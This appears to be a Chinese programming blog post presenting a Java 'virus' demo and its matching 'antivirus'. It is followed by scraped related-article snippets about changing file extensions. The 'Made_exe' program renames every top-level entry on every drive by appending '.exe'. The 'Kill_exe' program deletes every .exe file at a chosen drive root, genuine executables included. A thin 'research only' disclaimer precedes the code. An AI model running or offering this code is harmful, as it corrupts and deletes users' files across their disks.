//通过在文件名后面添加.exe后缀,达到简单的文件感染目的 //申明:仅用于参考研究,请勿用于恶意攻击。不喜勿喷 package com.ming.demo; import java.io.File; public class Made_exe { public static void main(String[] args) { System.out.println("即将感染硬盘......"); //获取本地硬盘盘符 File[] roots =File.listRoots(); for (int i = 0; i < roots.length; i++) { File f=new File(roots[i].toString()); for (int j = 0; j < f.list().length; j++) { String fileName=(roots[i].toString()+f.list()[j]); File f_old=new File(fileName); File f_changeToExe=new File(fileName+".exe"); if (f_old.renameTo(f_changeToExe)) { System.out.println("感染成功!"); }else { System.out.println("感染失败!"); } } } } } ///前面“制造病毒”之后,下面的就是如何“杀毒”的代码了 package com.ming.demo; import java.io.File; import java.util.Scanner; public class Kill_exe { public static void main(String[] args){ Scanner input =new Scanner(System.in); System.out.println("请输入你要查杀的盘符:"); String diskName=input.next()+":\\"; File f=new File(diskName); if (f.exists()) { boolean existsExe=false; String[] names=f.list(); for (int i = 0; i < names.length; i++) { //获取文件名 String fileName=diskName+names[i]; File f_exe=new File(fileName); int start=fileName.lastIndexOf(".")+1; //获取后缀名 String type=fileName.substring(start); //匹配EXE if (type.equalsIgnoreCase("exe")) { existsExe=true;//发现病毒 //删除病毒 if (f_exe.delete()) { System.out.println("成功删除病毒:"+fileName); }else { System.out.println("杀毒失败,病毒名:"+fileName); } } } if (!existsExe) { System.out.println("未发现病毒!"); } }else { System.out.println("不存在该盘!"); } System.out.println("按任意键退出......"); if (input.next()!=null) { System.exit(0); } } }
相关推荐
在Java编程语言中,修改文件后缀是一项常见的任务,尤其在处理文件操作或者数据存储时。这个场景可能出现在需要批量转换文件格式、处理用户上传的文件或者系统内部逻辑需要更改文件扩展名的情况。下面我们将详细探讨...
java导出文件, freemarker导出word需要ftl文件,java导出Word常见问题。2.TXT修改后缀名为.ftl
- 修改文件后缀名:虽然可以更改文件后缀名,但这并不改变文件内容,如果用错误的程序打开,可能会导致数据丢失或无法打开。 4. 文件后缀名的管理和设置: - 在Windows系统中,可以通过控制面板或文件夹选项设置...
运行本代码就可以修改文件夹内文件后缀。自己根据实际情况修改里面的路径和名字
批量修改文件后缀名的功能非常实用,特别是在处理大量文件时,手动一个一个去改会非常耗时,而使用工具则可以大大提升效率。 批量改文件后缀名.exe 是这个工具的执行程序,它可能是用编程语言(如C++、Python或Java...
在Java编程中,删除特定类型(如...以上就是针对"java程序 删除半年前的文件 后缀名为csv"这一任务所涵盖的关键Java编程知识点。在实际应用中,这样的程序应当具有高度的灵活性和可配置性,以便适应不同的环境和需求。
在计算机世界中,文件后缀名是用于标识文件类型的重要组成部分。它可以帮助操作系统或应用程序知道如何处理特定的文件。例如,`.txt`通常代表文本文件,`.docx`表示Microsoft Word文档,`.jpg`则是图片文件。有时,...
在SpringBoot应用中,你可能遇到需要修改文件后缀名的情况,例如为了安全考虑或者适应不同的服务需求。以下是一些常见的方法: 1. **Java IO操作**:使用Java的File类,可以通过renameTo()方法进行文件名的修改,...
Java批量修改文件后缀名方法总结 Java批量修改文件后缀名方法总结是指使用Java语言编写的程序来批量修改文件的后缀名。以下是关于Java批量修改文件后缀名方法的知识点总结: 一、使用Java语言编写的批量修改文件...
统一修改目录下文件后缀名,IO流的基本操作,递归遍历目录下所有文件,找到符合条件的后缀并修改
总结起来,无论是Java的旧版还是新版,都有相应的API和工具供开发者根据文件后缀名获取文件列表。这种方法广泛应用于文件管理、数据处理、文件搜索等场景。在实际应用中,可以根据项目需求进行适当的修改和扩展,...
在IT领域,经常需要对大量文件进行操作,例如批量修改文件的后缀名。这个任务在编程中可以通过编写脚本或程序实现。标题提到的"修改文件夹内所有文件后缀"就是一个这样的需求,通常会用到编程语言中的文件操作和文件...
1. "java计算器源程序.java":这是一个Java源代码文件,后缀名 ".java" 代表它是用Java语言编写的。文件可能包含了一个或多个类,其中一个类可能命名为 "Calculator" 或类似,表示计算器的主要功能。在这个文件中,...
4.图片上传部分:在文件上传部分已有功能的基础上实现了上传前缩略图预览,前台js文件后缀验证,后台代码文件后缀验证和文件类型验证(就算修改后缀名也无法成功上传),支持图片上传前压缩; 5.多选择器多文件上传...
7. **处理和恢复文件后缀名**:如果误修改了文件后缀名,可以通过操作系统的文件属性或第三方工具恢复。在Windows中,可以取消隐藏文件扩展名的设置,然后重命名;在macOS和Linux中,可以在终端中使用`mv`命令进行...
在IT行业中,编程任务经常涉及到文件操作,例如批量处理文件,比如本题中提到的“批量更改照片的名字”。Java作为一种广泛使用的编程语言,提供了丰富的API来处理文件和目录。在这个场景下,我们可以利用Java的`java...
同时,掌握如何更改文件后缀名也是一种实用技巧,例如将`.jpg` 图片转换为`.png` 以便支持透明背景。 总的来说,深入理解Windows文件后缀名的含义是提高计算机操作技能的基础,它有助于我们更好地管理和保护个人...
文件名:FileEncrypter.java JDK:1.40以上 说明:文件加密 加密方法:三重DES加密 加密过程:对选中的文件加密后在同文件夹下生成一个增加了".tdes"扩展名的加密文件 (完美加密,更改后缀名也不可以打开)解密过程:...
//取得后缀名 int file_size=myFile.getSize(); //取得文件的大小 String saveurl=""; if(file_size<file_size_max){ //更改文件名,取得当前上传时间的毫秒数值 //Calendar calendar = Calendar.getInstance(); ...
idea设置file mask后缀名的find.xml配置文件。替换位置:C:\用户名\用户账号\AppData\Roaming\JetBrains\IntelliJIdea2021.1\options下。